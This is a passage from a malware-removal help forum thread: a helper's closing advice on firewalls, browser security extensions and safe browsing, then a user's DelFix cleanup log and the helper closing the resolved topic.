Starting in Windows Vista, the Windows Firewall greatly improved and will satisfy the needs of most users. If you do not have an Internet Suite Antivirus program (which includes a firewall) and you want to use a 3rd party firewall, you can consider the options below.
  • 7p3JzTS.pngGlassWire - Has both a free and paid version (with different packages);
  • MQIMh6k.pngWindows Firewall Control - Gives you more control over your Windows Firewall;
  • 5RXGshU.pngTinyWall - Lightweight firewall implementing the Windows Firewall and giving you more control over it;
Anti-Exploit/Anti-RansomwareWeb Browsers and Web Browsing

Web Browsers could be considered as the closest door between a malware and your system. This is where most malware goes through to infect a system, and therefore it should be the program(s) you want to secure the most. There are two ways of going about it: hardening your web browser via extensions, and having good browsing habits.

Hardening your web browser means to install extensions that will help it protect itself (and your system on the same occasion) against Exploit Kits, MiTM attacks, etc. but also you at the same time. Here are a few extensions that I recommend you to install.
  • uBlock Origin: Efficient multi-purpose blocker that is lightweight on RAM and CPU usage (Google Chrome and Mozilla Firefox, called uBlock on Opera);
  • HTTPS Everywhere: Extension that converts your HTTP (unencrypted) requests to HTTPS (encrypted) ones (Google Chrome, Mozilla Firefox and Opera);
  • Web of Trust: Website reputation, rating and review extension that will help you quickly identify bad and suspicious sites from good ones (every web browsers);
  • NoScript: NoScript is a script blocker (Java, Flash, JavaScript, etc.) for Mozilla Firefox and Firefox-based browsers (Mozilla Firefox and Firefox-based web browsers);
  • uMatrix: For advanced users, a point and click matrix-like extensions that allow you to control requests done on a webpage (based on source, destination and type) (Google Chrome, Mozilla Firefox and Opera);
  • LastPass: Secure password manager allowing you to create, manage, and use passwords you save in your LastPass account (every web browser);
As for safe browsing habits, you can find tons of guides, tutorials, articles, etc. online that will highlight the basics you need to follow (only visit websites you trust, do not click on ads, do not download files from untrusted sources, use a password manager, always verify the URL of a website and make sure it's correctly typed, etc.), and even what you can do if you want to take it a step further (create a fake email address for spam emails, browse the web in a privacy mode, etc.). Here are a few:As you can see, there are plenty of resources out there. Simply Googling "good browsing habits" or "safe browsing habits" should allow you to find a lot of them.

Other recommendations

Even if you follow every recommendation that I listed here, in the end, it's also your job to be careful when browsing the web and downloading files if you don't want to get infected. Therefore, if you use your brain (common sense) when browsing the web, downloading programs and files, etc., you have far less chances to get infected by a malware. If for example you're not sure if a website is legitimate or not, or if a file is safe to download and execute, or if a program looks "too good" to be free, I suggest you to avoid going to that website, downloading that file or using that program.

Here are a few guides, tutorials, articles, etc. that you could read in order to learn more about computer protection and security to improve your current computer protection setup but also improve your good web browsing and computer usage practices :gRvSooB.pngThe End!

And that's it! Now that you know more about how to protect your computer and secure it, you're good to go back to your online activities, but in a safe and secure way! You are also free to stay on the forums and ask for help in different topics if you ever need to. Just make sure that you post your question/issue in the right section to get the best assistance possible. And if you ever get infected again (which I hope you wont!), you can always comeback in this section to get another checkup with one of our trained malware removal member.

Do you have any questions before I close this thread? :)

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#11 EddieLizzard

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Posted 23 April 2018 - 06:43 AM

Hello again

 

The report is below.

 

# DelFix v1.013 - Logfile created 23/04/2018 at 12:38:03
# Updated 17/04/2016 by Xplode
# Username : owner - HP
# Operating System : Windows 10 Home  (64 bits)
~ Activating UAC ... OK
~ Removing disinfection tools ...
Deleted : C:\FRST
Deleted : C:\AdwCleaner
Deleted : C:\log 3.txt
Deleted : C:\TDSSKiller.3.1.0.9_01.02.2016_22.15.56_log.txt
Deleted : C:\TDSSKiller.3.1.0.9_01.02.2016_22.21.02_log.txt
Deleted : C:\Users\owner\Desktop\esetsmartinstaller_enu.exe
Deleted : C:\Users\owner\Desktop\FRST64.exe
Deleted : C:\Users\owner\Downloads\tdsskiller.exe
Deleted : HKLM\SOFTWARE\AdwCleaner
~ Creating registry backup ... OK
~ Cleaning system restore ...
Deleted : RP #8 [Windows Update | 04/12/2018 10:09:01]
Deleted : RP #9 [Windows Update | 04/12/2018 10:10:19]
Deleted : RP #10 [Windows Update | 04/15/2018 14:27:35]
Deleted : RP #11 [Removed iTunes | 04/21/2018 15:04:23]
New restore point created !
~ Resetting system settings ... OK
########## - EOF - ##########
 
Thanks for the advice.  Much appreciated!


#12 Aura

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Posted 23 April 2018 - 07:28 AM

Good! No problem EddieLizzard, you're welcome!

Stay safe :)

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#13 Aura

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Posted 23 April 2018 - 07:28 AM

It appears that this issue is resolved, therefore I am closing the topic. If that is not the case and you need or wish to continue with this topic, please send me or any Moderator a Personal Message (PM) that you would like this topic re-opened.

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